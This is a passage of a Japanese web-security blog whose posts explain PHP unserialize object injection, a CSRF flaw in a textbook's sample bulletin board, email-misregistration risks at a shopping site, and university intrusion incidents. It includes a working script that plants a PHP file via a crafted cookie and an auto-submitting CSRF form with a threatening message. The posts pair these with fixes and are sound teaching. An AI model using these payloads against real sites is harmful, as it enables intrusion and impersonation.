  if (empty($_COOKIE['status']))
    die('クッキーが空です');
  $status = unserialize($_COOKIE['status']); // デシリアライズ

  // 以下バリデーション
  if (! is_array($status))
    die('statusは配列が必要です');
  if (! isset($status['height']))
    die('heightがセットされていません');
  if (! isset($status['weight']))
    die('weightがセットされていません');
  if (! isset($status['sight']))
    die('sightがセットされていません');

  // 以下表示
  echo 'height : ' . htmlspecialchars($status['height']) . '<br>';
  echo 'weight : ' . htmlspecialchars($status['weight']) . '<br>';
  echo 'sight : ' . htmlspecialchars($status['sight']) . '<br>';
ここでログ出力クラスLogger.phpの中身は以下となっています。
<?php
class Logger {
  const LOGDIR = '/tmp/';  // ログ出力ディレクトリ
  private $filename = '';  // ログファイル名
  private $log = '';       // ログバッファ

  public function __construct($filename) {  // コンストラクタ…ファイル名を指定
    if (! preg_match('/\A[a-z0-9\.]+\z/i', $filename)) { // ファイル名のバリデーション
      throw new Exception('Logger: ファイル名は英数字とドットで指定して下さい');
    }
    $this->filename = $filename; // ファイル名
    $this->log = '';             // ログバッファ
  }

  public function __destruct() { // デストラクタではバッファの中身をファイルに書き出し
    $path = self::LOGDIR . $this->filename;  // ファイル名の組み立て
    $fp = fopen($path, 'a');
    if ($fp === false) {
      die('Logger: ファイルがオープンできません' . htmlspecialchars($path));
    }
    if (! flock($fp, LOCK_EX)) {   // 排他ロックする
      die('Logger: ファイルのロックに失敗しました');
    }
    fwrite($fp, $this->log); // ログの書き出し
    fflush($fp);             // フラッシュしてからロック解除
    flock($fp, LOCK_UN);
    fclose($fp);
  }

  public function add($log) {  // ログ出力
    $this->log .= $log;        // バッファに追加するだけ
  }
}
ご覧のようにLoggerクラスはログ出力を目的としたもので、addメソッドではログをオブジェクト内のバッファに貯めこんでいき、アプリケーションの終了時にデストラクタによりログの中身をファイルに書き出すというものです。

脆弱なサンプル getcookie.php はLogger.phpをインクルードしているものの実際には呼び出しておらず、とくに悪いことはできないように見えますが、現実には、攻撃者はLoggerクラスを悪用する事が可能です。

ここで、攻撃者が使用する攻撃用のスクリプトを示します。これは攻撃者が手元の環境で動かすスクリプトです。
<?php
  require 'Logger.php';  // ファイル名のバリデーションは無効にしておく
  $x = new Logger('../../../var/www/html/evil.php');
  $x->add("<?php phpinfo(); ?>\n");
  setcookie('status', serialize($x));
これが生成するCookieは以下のとおりです。実際にはCookieの値はパーセントエンコードされています。また、下記で[NUL]はヌルバイトを示します。
Set-Cookie: status=O:6:"Logger":2:{s:16:"[NUL]Logger[NUL]filename";s:30:"../../../var/www/html/evil.php";s:11:"[NUL]Logger[NUL]log";s:20:"<?php phpinfo(); ?>
攻撃者はこのクッキーを攻撃対象のサイトで有効になるように自分のブラウザにセットします。この状態で先のgetcookie.phpにアクセスします。問題になる箇所は以下の3行です。
$status = unserialize($_COOKIE['status']); // Loggerオブジェクトがデシリアライズされる
if (! is_array($status))           // 配列ではないので
  die('statusは配列が必要です');   // 終了する
あれあれ、単に「statusは配列が必要です」というエラーメッセージを表示して止まるだけ…ではありません。Loggerオブジェクトが生成されているのでこの後Loggerクラスのデストラクタが動きます。

ここでファイル名は /tmp/../../../var/www/html/evil.php が指定されているので、ディレクトリトラバーサルと同じ原理で /var/www/html/evil.php がオープンされ、バッファの内容 <php phpinfo(); ?>が書き込まれます。
後は、攻撃者は攻撃対象のサイトにて evil.php を閲覧することにより、任意のPHPスクリプトが実行できることになります。

いったんまとめ

攻撃が成立する条件は下記となります。
  • PHPのunserialize関数に与える引数を外部からコントロールできる
  • アプリケーションにてクラスを定義しており、デストラクタが攻撃に悪用できる
  • ドキュメントルート下のディレクトリにPHPスクリプトから書き込みができる
ただし、以下の記事にあるように、攻撃に使える経路としてはデストラクタだけではありません。
また、この問題の有名な脆弱性がCakePHPにありました。以下の記事が参考になります。

何が問題か

攻撃者がunserialize関数に任意の文字列を処理させることが出来る場合、攻撃者は自分の都合の良いクラスのオブジェクトを攻撃対象アプリケーション内で生成させることができます。このクラスは、アプリケーション側で元々定義されているものに限られるため、unserializeがあると直ちに危険であるとは限りませんが、大規模なアプリケーションの場合、危険性を見極めるのはかなり困難であろうと思います。

根本的な解決策

攻撃者が任意のクラスのオブジェクトを自由に生成できる状況は、直接の危険性がないとしても、好ましくない状況と言えます。このため、根本的解決策として以下を推奨します。
  • 外部からコントロールできる値をunserialize関数に処理させない
同じ意味のことをセキュアコーディングの用語を用いると下記のようになります。
  • 信頼境界を超えて渡されるデータをデシリアライズしてはならない
そして、このような文脈では、「信頼できないデータを検証する」とか「信頼できないデータは無害解する」というような表現を見かけますが、このデシリアライズ問題については検証も無害化も困難です。検証が複雑すぎるからです。

このため、serialize/unserializeの代わりに、implode/explodeやjson_encode/json_decodeを使うとよいでしょう。どうしてもserialize/unserializeを使いたい場合は、セッション変数等安全な方法でシリアライズされた値をやりとりします。
  • serialize/unserializeの代わりに、implode/explodeやjson_encode/json_decodeを用いる

保険的対策

Loggerクラスのデストラクタの冒頭は以下のファイル名組み立てですが、局所的にみるとディレクトリトラバーサル脆弱性があります。
$path = self::LOGDIR . $this->filename;  // ファイル名の組み立て
通常のケースでは、コンストラクタでフアイル名をバリデーションしているので、ディレクトリトラバーサル攻撃はできないように見えますが、デシリアライズ等の経路でオブジェクトが生成された場合、コンストラクタは通らないので、不正なファイル名が使われる可能性があります。このため、以下のように$this->filenameにbasename関数を通しておくと安全です。
$path = self::LOGDIR . basename($this->filename);  // 安全なファイル名組み立て
上記は、unserializeによるオブジェクト汚染に対しては保険的な対策ですが、ディレクトリトラバーサル脆弱性に対して根本的解決策となります。
上記のように、一見大丈夫と思える箇所であっても、脆弱性の発生原因箇所に対して局所的に脆弱性を解消しておくことで、アプリケーション全体の安全性を高めることができます。

参考: もう入力値検証はセキュリティ対策として *あてにしない* ようにしよう

また、ドキュメントルート下のディレクトリに対して、PHPスクリプトから書き込みができないように権限を制限することも保険的な対策になります。

まとめ

PHPのunserialize関数の危険性について説明しました。ここで紹介した攻撃方法は、オブジェクトが生成されてしまうとどうしてもデストラクタを通ることになるため、オブジェクトが生成されてからバリデーション等をおこなっても手遅れです。かといって、シリアライズされた状態のままバリデーションを行うことも困難です。このため、外部由来のデータについてはunserialize関数を用いないことが現実的な対策となります。


【HASHコンサルティング広告】
HASHコンサルティング株式会社は、セキュリティエンジニアを募集しています。
興味のある方は、twitterfacebookのメッセージ、あるいは問い合わせページからお問い合わせください。


2015年6月30日火曜日

書籍『Webアプリケーションセキュリティ対策入門』のCSRF脆弱性

一昨日twitter上で、ほしくずさんから、以下の様なツイートがありました。
通称「大垣本」ことWebアプリセキュリティ対策入門 ~あなたのサイトは大丈夫?にクロスサイト・リクエストフォージェリ(CSRF)脆弱性があるというのです。
ここで「第二版」という言葉が分かりにくいと思いますが、書籍の第二版ではなく、同書のサンプルプログラムが実は「間違い探し用のスクリプト」が誤って掲載されていたため、間違い探し用でないものに差し替えられた経緯があり、差し替え後のものを「第二版」と呼んでいます。経緯と差し替え後のスクリプトはこちらから参照できます。

これに対して大垣さんは以下のように返しておられます。
どうも話がかみあっていないようです。
そこで、本当に大垣本にCSRF脆弱性があるか確認してみましたので以下に報告します。
なお、私は「今後大垣さんに対する批判はしない」と宣言している身ですので、この記事は批判云々ではなく、ソフトウェアにつきもののバグ報告に専念し、方法論等に対する批判は慎みたいと考えます。

大垣本のCSRF防御の考え方

大垣本のCSRF防御の考え方を説明するために、同書のP151の「フォームIDの動作」という図を引用します。
図のように、大垣本のCSRF対策方式(以下、「大垣方式」と表記)では、トークン(同書ではフォームIDと表記)をランダムな鍵として生成(②)し、それをフォームの隠しフィールドとDBに保存します(③、④)。ユーザーがフォームをサブミット(⑤)すると、送信されてきたトークンがDB上に存在するか確認(⑥)し、あればトークンを削除(⑦)して、サーバー上の処理に進みます。⑥でトークンがDBにない場合は、エラーとして処理には進みません。

一般的なCSRF対策手法との違い

大垣方式が一般的なCSRF対策と異なる点は以下の2点です。
  • フォームの2重投稿防止機能を兼ねている
  • トークンがセッション変数ではなくDBに保存される

トークンの有効範囲は?

トークンがDBに保存される場合、トークンの有効範囲が気になるところです。大垣本および第二版のソースを見ると、トークンを保存するテーブルの定義は以下の通りです。
CREATE TABLE form_id (sha1 TEXT PRIMARY KEY, created TEXT NOT NULL)
sha1がトークン、createdが生成日時を保持します。
シンプルな構造ですが、これだとトークンは、ユーザーやセッションを超えて、アプリケーション全体で共通になっています。これはまずそうですね。
トークンをホテルの部屋の鍵に例えると、こうです。大垣方式の鍵は、ホテルの全ての部屋に共通で使える鍵です。本来は、鍵は特定の1部屋のみに使えるべきですが、そうなっていないのです。

攻撃方法

どうもまずそうだということで、大垣方式への攻撃方法を検討します。
まず攻撃者イブは、自分のIDとパスワードを用いてログインして、投稿フォームに遷移します。
この段階では自ら投稿せず投稿フォームのHTMLソースを見ると、以下の様にトークン(form_id)があります。
<input type="hidden" name="form_id" value="e25b108116bb9f6d698537937a87d1fc8ccae8a5" />
この段階で、DB内部ではform_idは以下のようになっています(攻撃者には見えません)。
sqlite> SELECT * FROM form_id;
e25b108116bb9f6d698537937a87d1fc8ccae8a5|1435588303
攻撃者はHTMLソースから得たform_idを用いて、以下の様な罠のHTMLを作成します。
<body onload="document.forms[0].submit();">
<form action="http://samplebbs.jp/thread_create.php" method="POST">
<input name="title" value="最初の一撃"><br>
<input name="message" value="〇〇小学校を襲撃しますよ"><br>
<input name="form_id" value="e25b108116bb9f6d698537937a87d1fc8ccae8a5"><br>
<input name="submit_btn" value="送信"><br>
</form>
</body>
うっかり、掲示板にログイン中の利用者アダムがこの罠を閲覧してしまうと、以下のメソッド(database.class.php)によりトークンチェックが実行されます。
public function GetFormID($sha1) {
  $sql = "SELECT * FROM form_id WHERE sha1 = ". $this->quote($sha1) .";";
  $stmt = $this->Query($sql);
  if (!is_object($stmt)) {
    trigger_error('データベースエラーが発生しました');
  }
  $rec = $stmt->fetchAll(PDO::FETCH_ASSOC);
  assert(count($rec) === 1 || count($rec) === 0);
  if (!$rec) {
    return 'no record';
  } else {
    return $rec[0]['sha1'];
  }
}
実行されるSQL文は以下の通りです。
SELECT * FROM form_id WHERE sha1 = 'e25b108116bb9f6d698537937a87d1fc8ccae8a5';
この行は存在するため、GetFormIDはトークン(e25...)を返します。正常です。
つづいて、同じクラスのRemoveFormIDメソッドによりトークンを削除します。
public function RemoveFormID($sha1) {
  $sql = "DELETE FROM form_id WHERE sha1 = ". $this->quote($sha1) .";";
  if (!$this->Exec($sql)) {
    // GCがあれば無い場合もある
    return false;
  }
  return true;
}
実行されるSQL文は下記のとおりです。
DELETE FROM form_id WHERE sha1 = 'e25b108116bb9f6d698537937a87d1fc8ccae8a5';
これも正常に実行されます。CSRFのトークンチェックを通ったので、以下のSQL文により罠からのリクエストが、アダム(被害者)の投稿として実行されます。
INSERT INTO thread (title, message, created) VALUES ('最初の一撃', '〇〇小学校を襲撃しますよ', '2015-06-29 23:48:07');
実行結果は下記のとおりです。


すなわち攻撃の成功です。

いったんまとめ

大垣本記載のCSRF対策方式には抜けがあり、悪意のある掲示板のユーザーから、他のユーザーに対してCSRF攻撃により、なりすまし投稿ができることを示しました。その原因は、トークン管理がアプリケーション全体として共通となっており、ユーザないしセッション毎に分けて管理されてないことにあります。

対策

簡単に対策するには、データベースにトークンを保存する方法の代わりに、セッション変数にトークンを保存することです。セッション管理は元々セッション毎に割り当てられているため、アプリケーション側でセッションを区別する必要がありません。

その他のバグ(バリデーションの不備)

掲示板のタイトル欄はinput要素がソースなので改行は入力できないはずですが、PROXYツールなどで改行を入力してやると、バリデーションで弾かれず、以下のように改行を含む投稿が登録できてしまいます(「改行を含むタイトル」のところ)。


タイトルに改行が入力できたとしても大きな実害はなく些細な問題かもしれませんが、意図した結果ではないように思えますので報告します。

レースコンディション

また、バグとまでも言えず微妙な問題ですが、form_idを二重投稿防止機能としてとらえると、レースコンディションの問題があります。form_idチェックの際に排他制御がされていないからです。
このため、二重投稿のうち 2番目のリクエスト処理が、1番目のリクエスト処理に追いついてしまった場合、form_idが削除されないうちに 2番目のリクエストのSELECT文が実行されると、両方のリクエストが「form_idが有効」とみなされます。つまり局所的に見るとレースコンディションの問題があり二重投稿となりそうです。
なぜこれが「バグとまではも言えず」かというと、現実には2番目のリクエストが1番目のリクエストに追い付くことはないからです。その理由は、同一のセッションIDで二重にsession_start()しようとすると、二番目のsession_start()はロックされることによります。
注意:
ファイルベースのセッション (PHP のデフォルト) は、 session_start() でオープンしたり session.auto_start で暗黙のうちに開始したりしたセッションのセッションファイルをロックします。 いったんロックがかかったら、そのスクリプトが終了するなり session_write_close() を呼んでセッションを閉じるなりしない限り、 他のスクリプトからはそのセッションファイルにアクセスできません。
http://php.net/manual/ja/session.examples.basic.phpより引用
ただしこれは上記もあるように、ファイルベースのセッションの実装上の制限であり、PHPのセッションが一般的にそのような仕様であるわけではありません。それは、上記の引用のすぐ後ろにも書いてあります。
これは、たとえば AJAX を使いまくっていて同時に複数のリクエストが発生したりするウェブサイトで問題になります。 この問題への対処方法として一番お手軽なのは、セッションに対して必要な変更が終わったらすぐに session_write_close() を呼ぶことです。スクリプトの最初のほうで呼ぶほうが好ましいでしょう。 あるいは、ファイルではなく別のバックエンド (同時アクセスに対応しているもの) を使うという手もあります
さまざまな環境で動かすことを考えると、2重投稿のチェック処理のレースコンディションに配慮しておくべきでしょう。

防御的プログラミング

このように、局所的に正しさを保証していくプログラミングスタイルは防御的プログラミング(defensive programming)と呼ばれ、1970年代に構造化プログラミングとあわせて提唱されたと記憶しています。皆様おなじみのカーニハンは防御的プログラミングが好きだったと見えて彼の書籍にはよく防御的プログラミングが言及されています(たとえばプログラム書法…これはFORTRANプログラムが題材です)。防御的プログラミングは元々セキュアコーディングとは関係なくバグの出にくい高品質なプログラムの開発手法として提唱されたものですが、脆弱性もバグの一種なので、バグが出にくいということは間接的に脆弱性も出にくくなるという効果があります。

二重投稿チェック処理の改良

さて、防御的プログラミングの精神にのっとり、局所的なレースコンディションを解消しましょう。すぐに思いつく方法は、トランザクションとロックを使用することですが、実はもっと良い方法があります。
先に引用したRemoveFormIDは、DELETE文をexecメソッドで呼び出した戻り値が 0 の場合 falseを返し、それ以外の場合 trueを返しています。execメソッドの戻り値が 0 ということは、DELETE文の影響を受けた行が 0 行、すなわち削除対象の行はなかったということです。さらに言えば、「先に誰かが消していた」わけですから、本来この場合はエラーにすべきです。しかし、残念ながらRemoveFormIDの戻り値は、呼び出し側は捨ててしまっています(bbs.class.phpのChcekFormIDメソッド)。
public function CheckFormID($sha1, $disable=true) {
  $form_id = $this->db->GetFormID($sha1);
  if (!$form_id || $form_id !== $sha1) {
    $GLOBALS['error']='送信済みです';
    return false;
  } else {
    $this->db->RemoveFormID($sha1);
  }
  return true;
}
そこで、RemoveFormIDの戻り値もチェックすれば…となりますが、実はその前のGetFormIDは不要なのです。今のスクリプトはform_idがテーブル上にあることをSELECT文で確認し、あればDELETE文で削除していますが、SQLなのですからいきなりDELETE文で削除して、その結果削除された行数が 1 行であればform_idは存在したわけですから投稿処理に進み、0行の場合はform_idがなかったわけですからエラーにすればよいのです。
このようにするメリットは、スクリプトが単純になるだけでなく、SQL文がDELETE一つですむことから、クリティカルセクションがDELETE文の内部だけとなり、DELETE文の実行にともなう暗黙の排他制御だけで排他制御が完結するところにあります。すなわち、明示的なトランザクションと排他制御の指定は不要になります。

ただし、セキュリティの入門書であるという本書の特性を考えると、冗長でも敢えてSELECT…DELETEを用い、クリティカルセクションと排他制御の説明をするという方針もありだとは思います。

まとめ

大垣本のCSRF対策には抜けがあり、攻撃可能であることを説明しました。この種の問題は脆弱性診断をしていると時々見つかりますので、ご自身のアプリケーションがCSRF脆弱になっていないか、この記事で紹介した攻撃方法で確認することをおすすめします。

2015年6月25日木曜日

ビックカメラ.COMでメールアドレスを間違えて登録したらどこまで悪用されるか検討した

すでに報道のように、ビックカメラの通販サイト「ビックカメラ.com」において、会員IDをメールアドレスにするという改修がなされました。従来は会員がIDを自由につけられる仕様でした。さっそく会員登録してみたところ、会員IDのメールアドレスの入力間違いに際して、安全性の配慮に掛ける仕様だと感じたのでビックカメラのサポートに報告したところ、以下のように「セキュリティ上の問題とは認識していない」との回答でした。このため、ここに問題点と対策を公開して、利用者に注意喚起いたします。
平素はビックカメラ.comをご利用いただき、誠にありがとうございます。
サポートセンター担当のXXXXと申します。
この程はお問い合わせいただきありがとうございます。
貴重なご意見を賜りまして、誠にありがとうございます。
今回サイトのリニューアルに関して、基本的に現状ではセキュリティ上の問題があるとの認識はございません。

(1)ユーザ登録の画面

会員IDとなるメールアドレスの入力欄は下記の通りです。通常メールアドレスを2回入力することで、入力間違いをチェックするサイトが多いと思いますが、ビックカメラの場合はメールアドレスの入力は1回のみです。その後、入力したメールアドレスに受信確認のメールがくるものと思いきや、それもありません。他のサイトに比べ、メールアドレスの入力間違いが起こりやすい状況と言えます。

この後、個人情報やパスワード、「秘密の質問と答え」等を入力、確認して会員登録は完了です。

(2)会員登録のメールが届く

会員登録が終わると、登録したメールアドレスに以下のようなメール(抜粋)が届きます。メールアドレスは仮のものに変更しています。
徳丸 浩(トクマル ヒロシ) 様

この度は、ビックカメラ.com( http://www.biccamera.com )にご登録
いただきまして、誠にありがとうございます。  

-------------------------------------------------------------------
本メールはシステムにより自動で送信させて頂いております。
-------------------------------------------------------------------

今後、ご注文またはご購入履歴を参照される際には、
下記の会員IDが必要となりますので、大切に保管をお願い致します。

会員ID:xxxx@example.jp
お名前:徳丸 浩(トクマル ヒロシ) 様
万一、メールアドレスを間違えて入力して、それがたまたま他人のメールアドレスと一致した場合、このメールは間違えたメールアドレスの持ち主が見ることになります。氏名が漏れるという、一種の情報漏洩ですが、元はと言えばメールアドレスを間違えた利用者が悪いわけで、ここまでは仕方ないかと思っていました。

(3)会員登録と同時にログイン状態となる

会員登録すると、そのままECサイトにログイン状態となります。つまり、登録したメールアドレスを入力する機会はありません。試みに、そのまま商品を購入してみました。特に購入するものもなかったので、プリンタのインクの買い置きを購入しました。
ログイン後しばらく時間が経過している場合は、決済前に再度ログインを要求されるのでメールアドレスが間違えているとログインできず、ここで「何かがおかしい」と気づく機会になります。しかし、会員登録後短時間の間に商品を購入すると、再ログインはなく、ここでもメールアドレスの入力間違いには気づきません。
私は、決済方法としてクレジットカードを選択し、わざと「カード情報を保存する」を選択して決済しました。

(まとめ)登録後直ちに買い物すると、メールアドレスを入力する機会がないまま買い物が終了する

(4)買い物の内容と住所がメールとして届く

購入手続きが完了すると、注文の確認メールが届きますが、氏名に加えて、住所と購入内容が記載されています。
徳丸 浩様
ご注文ありがとうございます。
以下の内容でご注文を承りました。
【中略】
注文番号:1013xxxxx
注文日時:2015/06/23 16:39
お名前 :徳丸 浩 様
ご住所:
〒1xx-xxxx
東京都xx区xx x-xx-xx xxxx
お支払い方法:クレジットカード
 ご注文商品      :
 【純正】 インクカートリッジ (黒×2) xxxxxx-xxx(xxxxxxxxx)              x,xxx円
  数量                  1
  状況                  在庫あり
利用者が誤って別人のメールアドレスを登録してしまうと、このメールが別人に届くわけで、嫌な感じですね。とくに、購入したことを他人に知られたくない商品の場合、住所・氏名・購入商品がセットで他人に漏れるのは、かなり嫌な感覚ではないか思います。

(5)メールアドレスの持ち主に悪意がある場合、なりすましの危険性はないか

さて、ここからは、間違ったメールアドレスの持ち主に悪意がある場合、なりすましログインされる危険はないか検討します。以下では、メールアドレスの持ち主を「攻撃者」と表記します。攻撃者は、利用者(被害者)の登録済みメールは受信できるわけですから、パスワードリセットの機能が悪用できる可能性があります。
ビックカメラ.comのパスワードリセットに必要な情報は以下の通りです。
  • 登録済み電話番号
  • 登録済みメールに送信されるパスワードリセットのURL
  • 秘密の質問の答
このうち、電話番号については、被害者の氏名と住所が分かっているので、電話帳(ハローページ)等からかんたんに分かる場合もあるでしょうし、そうでない場合でもソーシャル的な手法で判明する可能性があります。
「秘密の質問と答」ですが、ビックカメラ.comの場合、秘密の質問は以下から選択するようになっています。
  • 卒業した小学校の名前は?
  • 母親の旧姓は?
  • 愛読書は?
  • 座右の銘は?
  • ペットの名前は?
あまり「秘密の質問」という感じでないものばかりですね。氏名住所がわかっている前提では、被害者のfacebookの書き込みに等記載されていたり、そうでない場合でもソーシャルエンジニアリングの手法で調べることもできそうです。

ということで、攻撃者に悪意があると、パスワードリセットが成功する確率は、それなりにありそうです。

(6)クレジットカード情報の悪用はできるか?

ビックカメラ.comになりすましログインが出来ると登録済みの個人情報が閲覧できますが、既に氏名、住所、メールアドレス(間違っていて正確ではない)、電話番号(パスワードリセット時に必要)が分かっているので、個人情報は攻撃者にとって新たな有益な情報とは言えません。
そこで、登録済みのクレジットカード情報を悪用して買い物ができるか確認しました。
結論としては、攻撃者は登録済みクレジットカード情報を用いて買い物をして、新たに登録した住所に商品を発送することができることを確認しました。

ということで、以下の前提では、クレジットカード情報の悪用もあり得ることが分かりました。
  • 利用者がメールアドレスを入力間違いする
  • 利用者は会員登録後ただちに買い物をして、クレジットカード情報をサイトに保存する
  • 間違ったメールアドレスがたまたま別人のアドレスと一致する
  • メールアドレスの持ち主に悪意がある
  • 電話番号と秘密の質問の答えがソーシャルエンジニアリングで入手できる

(7)会員登録時にメールアドレスを間違える人はどれくらいいるか?

ここで、会員登録時にメールアドレスを間違える人がどれくらいいるのかという疑問が生じますが、私は、それなりに間違えはあると推測しています。
以下は、私のgmailアドレスに届いたメールですが、Apple IDとして、うっかり私のメールアドレスを登録してしまった方のようです。ちなみに女性名でした。

徳丸という比較的珍しい名字でもこのような間違いがあるので、鈴木・田中・高橋・佐藤等のポピュラーな名字であれば、メールアドレスの間違いがたまたま他人と一致する確率は、それなりにありそうに考えます。
また、月宮紀柳さんから以下のツイートをいただきましたので引用します。このツイートから事例を参照することができます。

(8)とりあえずのまとめ

ここまででいったんまとめます。
ビックカメラ.comの利用者登録において、メールアドレスの入力間違いに気づきにくい仕様であり、利用者がメールアドレスを間違えて登録してしまった場合、最悪ケースでは、なりすましや、クレジットカード情報の悪用などの被害が想定されることが分かりました。
あくまで、利用者がメールアドレスを間違えた場合という前提なので、これは脆弱性とまではいえませんが、安全性に関する配慮が少し足りないとはいえると思います。

(9)利用者側でできる注意

利用者側でできる注意としては、入力・確認画面でメールアドレスをよく確認するという以外に、以下を実施するとよいでしょう。
  • 会員登録時に、登録完了のメールが送られることを確認する
  • クレジットカード情報の保存機能は利用しない

(10)サイト側の改善案

サイト側でできる改善案としては下記があります。
  • メールアドレス入力後に受信確認を行う
  • クレジットカード情報を保存しない
  • クレジットカード情報を保存する際は発送先住所と対応させておき、あらたな発送先住所については再度クレジットカード情報を入力してもらう(Amazonで採用している方法)
メールアドレス入力後の受信確認については、今話題のニトリのサイトが参考になります。以下は、会員登録の冒頭でのメールアドレス入力画面です。


会員登録において、いきなりメールの受信確認から始める方法は最近よく見かけます。これだと、メールアドレスの入力欄も一つでよいので、入力する方も楽でいいですね。

※ただし、ニトリのこのフォームはなぜかHTTPSでないので、サイト(ドメイン)の真正性確認という点では課題があります。会員登録やログインの他のフォームはHTTPSなので、単に漏れたということでしょうか。

また、クレジットカード情報の保存については、リスク低減という点では保存しないに越したことはありませんが、どうしても保存したいという要件であれば、Amazon等が採用しているように、住所とカード情報を対応させておき、新たな住所が指定された場合はカード情報も再入力する方法がよいと思います。この方法であれば、パスワードリスト攻撃等で不正ログインされた場合でも、被害を緩和できる可能性が高いです。

まとめ

ビックカメラ.comを題材として、メールアドレス登録間違いの危険性について報告しました。
まずは利用者側がメールアドレスを正しく登録するべき筋合いのものではありますが、やはり間違いはあり得ることですので、下記の施策を実施するとよいでしょう。
  • 入力間違いに気づきやすくする(メールアドレスを2回入力)
  • 入力間違いがあれば登録が進めないようにする(受信確認)
  • 入力間違いがあっても被害を緩和できる設計とする(カード情報と住所の対応づけ)
難しいことはよくわからないということであれば、広く使われているベストプラクティスに従うことから始めたらどうでしょうか。拙著「安全なWebアプリケーションの作り方」でも、5.2.1ユーザ登録において、「メールアドレスの受信確認」について説明しています(宣伝)。ベストプラクティスには、たいていの場合そうする意味があるわけですから、単に処理を省略してしまうと上記のようなリスク発生につながる場合があります。


【HASHコンサルティング広告】
HASHコンサルティング株式会社は、セキュリティエンジニアを募集しています。
興味のある方は、twitterfacebookのメッセージ、あるいは問い合わせページからお問い合わせください。


2015年6月24日水曜日

ウェブサイトに侵入された大学のリリースに見る侵入対策への誤解

ここ数日大学等のウェブサイトに対する侵入事件の報道やプレスリリースが続いています。
これらを読んで気になったことがあります。大学側が一定のセキュリティ対策を施していたが、それでも侵入されてしまったような論調だからです。まずは早稲田大学の事例ですが…
3.不正侵入の原因について
スケジュール管理サーバにはアンチウィルスソフトウェアをインストールし、最新のパターンファイルを装備していました。しかし、当該サーバのOSのセキュリティパッチは最新のものではなく、また当該サーバに対しファイアウォールによる監視が行えていなかったため、不正侵入を防御できませんでした。現在は、OSのセキュリティパッチを最新のものに更新し、ファイアウォールの監視対象として防御しています。

スケジュール管理ウェブサイトの改ざんについて – 早稲田より引用
アンチウイルスソフトの導入・運用は正しく行っていたが、OS等のパッチは適用されていなかったと書いてあります。これでは、対策の優先順位が逆です。
まず、ウェブサイトへの侵入経路としては以下の2種類があります。
  • サーバーソフトの脆弱性(セキュリティ上の弱点)をつかれる
  • サーバーの認証を突破される
このため、脆弱性に対するパッチを適用して、脆弱性がない状態を作り出すことが重要です。
ウイルス対策ソフト(アンチウイルス)は、脆弱性をついた攻撃について一定の効果がありますが、ウイルス対策ソフトというものは、不正なファイルを対象としたソリューションです。公開ウェブサイトに不正なファイルが送り込まれたという状況は、今回のようなケースでは、外部からの「改ざん」により不正ファイルが作られたことになり、すなわち攻撃を受けてしまった後の話です。それでも水際でストップできればよいのですが、改ざんにより送り込まれるファイルはウイルスとは限らず、例えば単にHTMLが書き換えられ特定の文言が追加されたようなケースではウイルス対策ソフトでは検知できません。
一方、パッチの適用の方は、ウェブサイトへの侵入経路そのものを断つわけですから、非常に効果的です。

次に徳島大学の件ですが、報道の以下の部分が気になりました。
このサーバーは2013年から使用しており、少なくとも年に1度はパスワードを変更していた。

サイバー攻撃:徳島大電子会議システムサーバー乗っ取り - 毎日新聞より引用
年1回のパスワード定期的変更をしていたのに乗っ取りされてしまった、と読めます。しかし、パスワードの定期的変更の効果は限定的と考えられます。

まず、サーバーのパスワードを変更する意味ですが、何らかの理由で「パスワードを知っているべきでない人物がパスワードを知っている」状況が想定される場合に、パスワードを変更することにより、当該のパスワードを無効化するということです。そしてその典型的なケースは、サーバーの管理者が退職、異動によりサーバー管理者でなくなったケースです。この場合、元サーバー管理者がパスワードを悪用するケースに備えて、パスワードを変更する必要があります。

モデル的なケースとして、毎年4月1日にサーバー管理者が必ず交代し、それ以外ではサーバー管理者の異動はないとします。この場合は、一年に一度、4月1日にパスワードを変更することに大きな意味があります。元サーバー管理者の知っているパスワードを無効化できるからです。

しかし、実際には上記のような規則的な異動はまれで、毎年管理者が移動するわけではないとか、4月以外に管理者が異動になる場合もあるでしょう。したがって、一年に一度ではなく、サーバー管理者の異動のタイミングで遅滞なくパスワードを変更する運用がベストです。

さて、パスワードを知っているべきでない人間がパスワードを知っている状況は、サーバー管理者の異動だけではありません。外部の攻撃者が何らかの方法、たとえばサーバー管理者のパソコンにウイルスを感染させることにより、パスワードを盗み出す状況(いわゆるガンブラーや標的型攻撃)や、攻撃者が管理者にフィッシング攻撃をしかける状況(事例)も考えられます。この場合、攻撃者がなんらかの理由でパスワード入手後すぐには悪用せず、しばらくたってから攻撃する場合、パスワードの定期的変更により被害にあわない可能性があります。とはいえ、「攻撃者はパスワード入手後しばらくたってから悪用する」ことをあてにするわけにはいかないので、パスワードの定期的変更は、副次的な対策と言えます。

それでは、サーバーの認証突破に対する備えは何をすればよいでしょうか。それには、以下が有効です。
  • 外部(インターネット)からは管理用ソフトウェア(ssh、管理コンソール)に接続できないようにファイアウォール等を設定する
  • 鍵認証等、強固な認証方式を導入する
  • 二段階認証を導入する
  • 管理者のIDとパスワードを共用せず、個別のIDとパスワードを設定する
  • 管理者の異動の際は遅滞なくIDを無効化するか、パスワードを変更する
ウイルス対策ソフトの導入とパスワードの定期的変更は、もっとも有名なセキュリティ対策ではありますが、ウェブサイトの侵入対策という面では効果は限定的であり、すみやかなパッチ適用と認証の強化が重要です。そして、追加のセキュリティ対策としては、WAFや改ざん検知システムの導入を検討するとよいでしょう。

【HASHコンサルティング広告】
HASHコンサルティング株式会社は、セキュリティエンジニアを募集しています。
興味のある方は、twitterfacebookのメッセージ、あるいは問い合わせページからお問い合わせください。


2015年6月11日木曜日

Column SQL Truncation脆弱性にご用心

前回のブログ記事「CMS四天王のバリデーション状況を調査したところ意外な結果になった」にて、JoomlaとMovableTypeは長大なログイン名を登録することにより、ログイン名の重複が起こり得ることを指摘したところ、facebookの私のウォールにて、Column SQL Truncation脆弱性の話題になりました。Column SQL Truncationは、2008年にWordPressの脆弱性として報告されたことがあります(参照参照)。
本稿では、簡単なログイン機能のSQL呼び出し例を用いてColumn SQL Truncationを説明したいと思います。

認証用テーブル定義の説明

認証に用いる会員テーブルを下記とします。ご覧のように、ログイン名を示す列 username には一意制約がありません。(追記)一意制約はふつうあるだろと思われるでしょうが、CMS四天王の中で一意制約がついているのはDrupalのみで、WordPress、Joomla、MovableTypeには一意制約がついていません。(追記終わり)
CREATE TABLE users (
  id int NOT NULL AUTO_INCREMENT,   /* 内部ID */
  username varchar(8) NOT NULL,     /* ログイン名 */
  password varchar(64) NOT NULL,    /* パスワードのSHA-1ハッシュ値 */
  super boolean NOT NULL,           /* 管理者フラグ */
  PRIMARY KEY (id)
) ENGINE=InnoDB DEFAULT CHARSET=utf8 AUTO_INCREMENT=1;
まず、管理者 admin を登録しておきます。
